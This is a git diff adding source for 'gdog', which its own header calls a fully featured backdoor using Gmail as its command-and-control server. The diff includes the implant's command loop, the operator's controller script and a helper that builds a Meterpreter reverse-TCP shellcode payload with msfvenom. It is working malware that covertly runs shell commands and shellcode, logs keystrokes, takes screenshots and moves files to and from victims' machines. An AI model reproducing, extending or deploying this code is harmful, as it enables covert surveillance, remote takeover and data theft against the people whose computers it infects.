'gdog:{}')".format(sysInfo.UniqueID)) + + for msg_id in id_list[0].split(): + + #logging.debug("[checkJobs] parsing message with uid: {}".format(msg_id)) + + msg_data = c.uid('fetch', msg_id, '(RFC822)') + msg = MessageParser(msg_data) + jobid = msg.subject.split(':')[2] + + if msg.dict: + cmd = msg.dict['cmd'].lower() + arg = msg.dict['arg'] + + #logging.debug("[checkJobs] CMD: {} JOBID: {}".format(cmd, jobid)) + + if cmd == 'execshellcode': + execShellcode(arg, jobid) + + elif cmd == 'download': + download(jobid, arg) + + elif cmd == 'downloadfromurl': + downloadfromurl(jobid, arg) + + elif cmd == 'upload': + upload(jobid, arg, msg.attachment) + + elif cmd == 'screenshot': + screenshot(jobid) + + elif cmd == 'tasks': + tasks(jobid) + + elif cmd == 'services': + services(jobid) + + elif cmd == 'users': + users(jobid) + + elif cmd == 'devices': + devices(jobid) + + elif cmd == 'cmd': + execCmd(arg, jobid) + + elif cmd == 'visitwebsite': + visitwebsite(arg, jobid) + + elif cmd == 'message': + message(arg, jobid) + + elif cmd == 'lockscreen': + lockScreen(jobid) + + elif cmd == 'shutdown': + shutdown(jobid) + + elif cmd == 'restart': + restart(jobid) + + elif cmd == 'logoff': + logoff(jobid) + + elif cmd == 'startkeylogger': + keylogger.exit = False + keylogger(jobid) + + elif cmd == 'stopkeylogger': + keylogger.exit = True + + elif cmd == 'forcecheckin': + sendEmail("Host checking in as requested", checkin=True) + + elif cmd == 'email_check': + email_check(arg, jobid) + #EMAIL_KNOCK_TIMEOUT = int(arg) + sendEmail("Email Checking changed too: %s seconds" % str(arg), checkin=True) + + elif cmd == 'jitter': + + jitter(arg, jobid) + #JITTER = int(arg) + sendEmail("JITTER UPDATED too: %s seconds" % str(arg), checkin=True) + + + else: + raise NotImplementedError + + c.logout() + + + if JITTER != 100: + JITTER_HIGH =((EMAIL_KNOCK_TIMEOUT * JITTER) /100.0) * 3 + JITTER_LOW = (EMAIL_KNOCK_TIMEOUT * JITTER) /100.0 + + time.sleep(random.randrange(JITTER_LOW, JITTER_HIGH)) + else: + time.sleep(EMAIL_KNOCK_TIMEOUT) + + + except Exception as e: + #logging.debug(format_exc()) + time.sleep(EMAIL_KNOCK_TIMEOUT) + + +if __name__ == '__main__': + sendEmail("Welcome!! :D", checkin=True) + try: + checkJobs() + except KeyboardInterrupt: + pass + + \ No newline at end of file diff --git a/gdog/data/.gitignore b/gdog/data/.gitignore new file mode 100644 index 0000000..d6b7ef3 --- /dev/null +++ b/gdog/data/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/gdog/gdog.py b/gdog/gdog.py new file mode 100644 index 0000000..be957a8 --- /dev/null +++ b/gdog/gdog.py @@ -0,0 +1,380 @@ +""" + This file is part of gdog + Copyright (C) 2016 @maldevel + https://github.com/maldevel/gdog + + gdog - A fully featured backdoor that uses Gmail as a C&C server + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . + + For more see the file 'LICENSE' for copying permission. +""" + +__author__ = "maldevel" +__copyright__ = "Copyright (c) 2016 @maldevel" +__credits__ = ["maldevel", "carnal0wnage", "byt3bl33d3r"] +__license__ = "GPLv3" +__version__ = "1.1" +__maintainer__ = "maldevel" + + +##################### +import argparse +import email +import imaplib +import sys +import base64 +import string +import os +import json +import random +import hashlib + +from base64 import b64decode +from smtplib import SMTP +from argparse import RawTextHelpFormatter +from email.MIMEMultipart import MIMEMultipart +from email.MIMEBase import MIMEBase +from email.MIMEText import MIMEText +from email import Encoders +from Crypto.Cipher import AES +from Crypto import Random +###################################################### + + +############################################ +gmail_user = 'gdog.mail.account@gmail.com' +gmail_pwd = '!y0ur_p@ssw0rd!' +server = "smtp.gmail.com" +server_port = 587 +AESKey = 'my_AES_key' +############################################ + + +def generateJobID(): + return hashlib.sha256(''.join(random.sample(string.ascii_letters + string.digits, 30))).hexdigest() + +class InfoSecurity: + + def __init__(self): + self.bs = 32 + self.key = hashlib.sha256(AESKey.encode()).digest() + + def Encrypt(self, plainText): + raw = self._pad(plainText) + iv = Random.new().read(AES.block_size) + cipher = AES.new(self.key, AES.MODE_CBC, iv) + return base64.b64encode(iv + cipher.encrypt(raw)) + + def Decrypt(self, cipherText): + enc = base64.b64decode(cipherText) + iv = enc[:AES.block_size] + cipher = AES.new(self.key, AES.MODE_CBC, iv) + return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8') + + def _pad(self, s): + return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs) + + def _unpad(self, s): + return s[:-ord(s[len(s)-1:])] + +infoSec = InfoSecurity() + + +class MessageParser: + + def __init__(self, msg_data): + self.attachment = None + self.getPayloads(msg_data) + self.getSubjectHeader(msg_data) + self.getDateHeader(msg_data) + + def getPayloads(self, msg_data): + for payload in email.message_from_string(msg_data[1][0][1]).get_payload(): + if payload.get_content_maintype() == 'text': + self.text = payload.get_payload() + self.dict = json.loads(infoSec.Decrypt(payload.get_payload())) + + elif payload.get_content_maintype() == 'application': + self.attachment = payload.get_payload() + + def getSubjectHeader(self, msg_data): + self.subject = email.message_from_string(msg_data[1][0][1])['Subject'] + + def getDateHeader(self, msg_data): + self.date = email.message_from_string(msg_data[1][0][1])['Date'] + + +class Gdog: + + def __init__(self): + self.c = imaplib.IMAP4_SSL(server) + self.c.login(gmail_user, gmail_pwd) + + def sendEmail(self, botid, jobid, cmd, arg='', attachment=[]): + + if (botid is None) or (jobid is None): + sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)") + + sub_header = 'gdog:{}:{}'.format(botid, jobid) + + msg = MIMEMultipart() + msg['From'] = sub_header + msg['To'] = gmail_user + msg['Subject'] = sub_header + msgtext = json.dumps({'cmd': cmd, 'arg': arg}) + msg.attach(MIMEText(str(infoSec.Encrypt(msgtext)))) + + for attach in attachment: + if os.path.exists(attach) == True: + part = MIMEBase('application', 'octet-stream') + part.set_payload(open(attach, 'rb').read()) + Encoders.encode_base64(part) + part.add_header('Content-Disposition', 'attachment; filename="{}"'.format(os.path.basename(attach))) + msg.attach(part) + + mailServer = SMTP() + mailServer.connect(server, server_port) + mailServer.starttls() + mailServer.login(gmail_user,gmail_pwd) + mailServer.sendmail(gmail_user, gmail_user, msg.as_string()) + mailServer.quit() + + print "[*] Command sent successfully with jobid: {}".format(jobid) + + + def checkBots(self): + bots = [] + self.c.select(readonly=1) + rcode, idlist = self.c.uid('search', None, "(SUBJECT 'hereiam:')") + + for idn in idlist[0].split(): + msg_data = self.c.uid('fetch', idn, '(RFC822)') + msg = MessageParser(msg_data) + + try: + botid = str(msg.subject.split(':')[1]) + if botid not in bots: + bots.append(botid) + + print botid, msg.dict['os'] + + except ValueError: + pass + + def getBotInfo(self, botid): + + if botid is None: + sys.exit("[-] You must specify a client id (-id)") + + self.c.select(readonly=1) + rcode, idlist = self.c.uid('search', None, "(SUBJECT 'hereiam:{}')".format(botid)) + + for idn in idlist[0].split(): + msg_data = self.c.uid('fetch', idn, '(RFC822)') + msg = MessageParser(msg_data) + + print "ID: " + botid + print "DATE: '{}'".format(msg.date) + print "PID: " + str(msg.dict['pid']) + print "USER: " + str(msg.dict['user']) + print "OS: " + str(msg.dict['os']) + print "ARCHITECTURE: " + str(msg.dict['arch']) + print "CPU: " + str(msg.dict['cpu']) + print "GPU: " + str(msg.dict['gpu']) + print "MOTHERBOARD: " + str(msg.dict['motherboard']) + print "CHASSIS TYPE: " + str(msg.dict['chassistype']) + print "ADMIN: " + str(msg.dict['isAdmin']) + print "TOTAL RAM: {}GB".format(str(msg.dict['totalram'])) + print "BIOS: " + str(msg.dict['bios']) + print "MAC ADDRESS: " + str(msg.dict['mac']) + print "LOCAl IPv4 ADDRESS: " + str(msg.dict['ipv4']) + print "Antivirus: '{}'".format(msg.dict['av']) + print "Firewall: '{}'".format(msg.dict['firewall']) + print "Antispyware: '{}'".format(msg.dict['antispyware']) + print "TAG: " + str(msg.dict['tag']) + print "CLIENT VERSION: " + str(msg.dict['version']) + print "GEOLOCATION: '{}'".format(msg.dict['geolocation']) + print "FG WINDOWS: '{}'\n".format(msg.dict['fgwindow']) + + + def getJobResults(self, botid, jobid): + + if (botid is None) or (jobid is None): + sys.exit("[-] You must specify a client id (-id) and a jobid (-job-id)") + + self.c.select(readonly=1) + rcode, idlist = self.c.uid('search', None, "(SUBJECT 'dmp:{}:{}')".format(botid, jobid)) + + for idn in idlist[0].split(): + msg_data = self.c.uid('fetch', idn, '(RFC822)') + msg = MessageParser(msg_data) + + print "DATE: '{}'".format(msg.date) + print "JOBID: " + jobid + print "FG WINDOWS: '{}'".format(msg.dict['fgwindow']) + print "CMD: '{}'".format(msg.dict['msg']['cmd']) + print '' + print "'{}'\n".format(msg.dict['msg']['res']) + #print msg.dict['msg']['res'] + '\n' + + if msg.attachment: + + if msg.dict['msg']['cmd'] == 'screenshot': + imgname = '{}-{}.png'.format(botid, jobid) + with open("./data/" + imgname, 'wb') as image: + image.write(b64decode(msg.attachment)) + image.close() + + print "[*] Screenshot saved to ./data/" + imgname + + elif msg.dict['msg']['cmd'] == 'download': + filename = "{}-{}".format(botid, jobid) + with open("./data/" + filename, 'wb') as dfile: + dfile.write(b64decode(msg.attachment)) + dfile.close() + + print "[*] Downloaded file saved to ./data/" + filename + + def logout(self): + self.c.logout() + + +if __name__ == '__main__': + + parser = argparse.ArgumentParser(description=""" + __ + ____ _____/ /___ ____ _ + / __ `/ __ / __ \/ __ `/ + / /_/ / /_/ / /_/ / /_/ / + \__, /\__,_/\____/\__, / + /____/ /____/ + +""", + version='1.0.0', + formatter_class=RawTextHelpFormatter) + + parser.add_argument("-id", dest='id', type=str, default=None, help="Client to target") + parser.add_argument('-jobid', dest='jobid', default=None, type=str, help='Job id to retrieve') + + agroup = parser.add_argument_group() + blogopts = agroup.add_mutually_exclusive_group() + blogopts.add_argument("-list", dest="list", action="store_true", help="List available clients") + blogopts.add_argument("-info", dest='info', action='store_true', help='Retrieve info on specified client') + + sgroup = parser.add_argument_group("Commands", "Commands to execute on a client") + slogopts = sgroup.add_mutually_exclusive_group() + slogopts.add_argument("-cmd", metavar='CMD', dest='cmd', type=str, help='Execute a system command') + slogopts.add_argument("-visitwebsite", metavar='URL', dest='visitwebsite', type=str, help='Visit website') + slogopts.add_argument("-message", metavar=('TEXT', 'TITLE'), nargs=2, type=str, help='Show message to user') + slogopts.add_argument("-tasks", dest='tasks', action='store_true', help='Retrieve running processes') + slogopts.add_argument("-services", dest='services', action='store_true', help='Retrieve system services') + slogopts.add_argument("-users", dest='users', action='store_true', help='Retrieve system users') + slogopts.add_argument("-devices", dest='devices', action='store_true', help='Retrieve devices(Hardware)') + slogopts.add_argument("-download", metavar='PATH', dest='download', type=str, help='Download a file from a clients system') + slogopts.add_argument("-download-fromurl", metavar='URL', dest='fromurl', type=str, help='Download a file from the web') + slogopts.add_argument("-upload", nargs=2, metavar=('SRC', 'DST'), help="Upload a file to the clients system") + slogopts.add_argument("-exec-shellcode", metavar='FILE',type=argparse.FileType('rb'), dest='shellcode', help='Execute supplied shellcode on a client') + slogopts.add_argument("-screenshot", dest='screen', action='store_true', help='Take a screenshot') + slogopts.add_argument("-lock-screen", dest='lockscreen', action='store_true', help='Lock the clients screen') + slogopts.add_argument("-shutdown", dest='shutdown', action='store_true', help='Shutdown remote computer') + slogopts.add_argument("-restart", dest='restart', action='store_true', help='Restart remote computer') + slogopts.add_argument("-logoff", dest='logoff', action='store_true', help='Log off current remote user') + slogopts.add_argument("-force-checkin", dest='forcecheckin', action='store_true', help='Force a check in') + slogopts.add_argument("-start-keylogger", dest='keylogger', action='store_true', help='Start keylogger') + slogopts.add_argument("-stop-keylogger", dest='stopkeylogger', action='store_true', help='Stop keylogger') + slogopts.add_argument("-email-checkin",type=int, metavar='CHECK', dest='email_check', help='Seconds to wait before checking for new commands') + slogopts.add_argument("-jitter", metavar='jit',type=int, dest='jitter', help='Percentage of Jitter') + + if len(sys.argv) is 1: + parser.print_help() + sys.exit() + + args = parser.parse_args() + + gdog = Gdog() + jobid = generateJobID() + + if args.list: + gdog.checkBots() + + elif args.info: + gdog.getBotInfo(args.id) + + elif args.cmd: + gdog.sendEmail(args.id, jobid, 'cmd', args.cmd) + + elif args.visitwebsite: + gdog.sendEmail(args.id, jobid, 'visitwebsite', args.visitwebsite) + + elif args.message: + gdog.sendEmail(args.id, jobid, 'message', args.message) + + elif args.tasks: + gdog.sendEmail(args.id, jobid, 'tasks') + + elif args.services: + gdog.sendEmail(args.id, jobid, 'services') + + elif args.users: + gdog.sendEmail(args.id, jobid, 'users') + + elif args.devices: + gdog.sendEmail(args.id, jobid, 'devices') + + elif args.shellcode: + gdog.sendEmail(args.id, jobid, 'execshellcode', args.shellcode.read().strip()) + + elif args.download: + gdog.sendEmail(args.id, jobid, 'download', r'{}'.format(args.download)) + + elif args.fromurl: + gdog.sendEmail(args.id, jobid, 'downloadfromurl', r'{}'.format(args.fromurl)) + + elif args.upload: + gdog.sendEmail(args.id, jobid, 'upload', r'{}'.format(args.upload[1]), [args.upload[0]]) + + elif args.screen: + gdog.sendEmail(args.id, jobid, 'screenshot') + + elif args.lockscreen: + gdog.sendEmail(args.id, jobid, 'lockscreen') + + elif args.shutdown: + gdog.sendEmail(args.id, jobid, 'shutdown') + + elif args.restart: + gdog.sendEmail(args.id, jobid, 'restart') + + elif args.logoff: + gdog.sendEmail(args.id, jobid, 'logoff') + + elif args.forcecheckin: + gdog.sendEmail(args.id, jobid, 'forcecheckin') + + elif args.keylogger: + gdog.sendEmail(args.id, jobid, 'startkeylogger') + + elif args.stopkeylogger: + gdog.sendEmail(args.id, jobid, 'stopkeylogger') + + elif args.email_check: + gdog.sendEmail(args.id, jobid, 'email_check', args.email_check) + + elif args.jitter: + gdog.sendEmail(args.id, jobid, 'jitter', args.jitter) + + elif args.jobid: + gdog.getJobResults(args.id, args.jobid) + diff --git a/gdog/requirements.txt b/gdog/requirements.txt new file mode 100644 index 0000000..c234059 --- /dev/null +++ b/gdog/requirements.txt @@ -0,0 +1,4 @@ +pycrypto +wmi +enum34 +netifaces \ No newline at end of file diff --git a/gdog/shellcode_generate.py b/gdog/shellcode_generate.py new file mode 100644 index 0000000..ec9dd16 --- /dev/null +++ b/gdog/shellcode_generate.py @@ -0,0 +1,22 @@ +# quick script that generates the proper format for the shellcode to feed into pyinjector +# generates powershell payload from @trustedsec pyinjector +import subprocess,re +def generate_powershell_shellcode(payload,ipaddr,port): + # grab the metasploit path + msf_path = "/usr/local/share/metasploit-framework/" + # generate payload + proc = subprocess.Popen("%smsfvenom -p %s LHOST=%s LPORT=%s -a x86 --platform Windows EXITFUNC=thread -f python" % (msf_path,payload,ipaddr,port), stdout=subprocess.PIPE, shell=True) + data = proc.communicate()[0] + # start to format this a bit to get it ready + data = data.replace(";", "") + data = data.replace(" ", "") + data = data.replace("+", "") + data = data.replace('"', "") + data = data.replace("\n", "") + data = data.replace("buf=", "") + data = data.rstrip() + # base counter + print data + + +generate_powershell_shellcode("windows/meterpreter/reverse_tcp", "172.16.153.1", "4444") \ No newline at end of file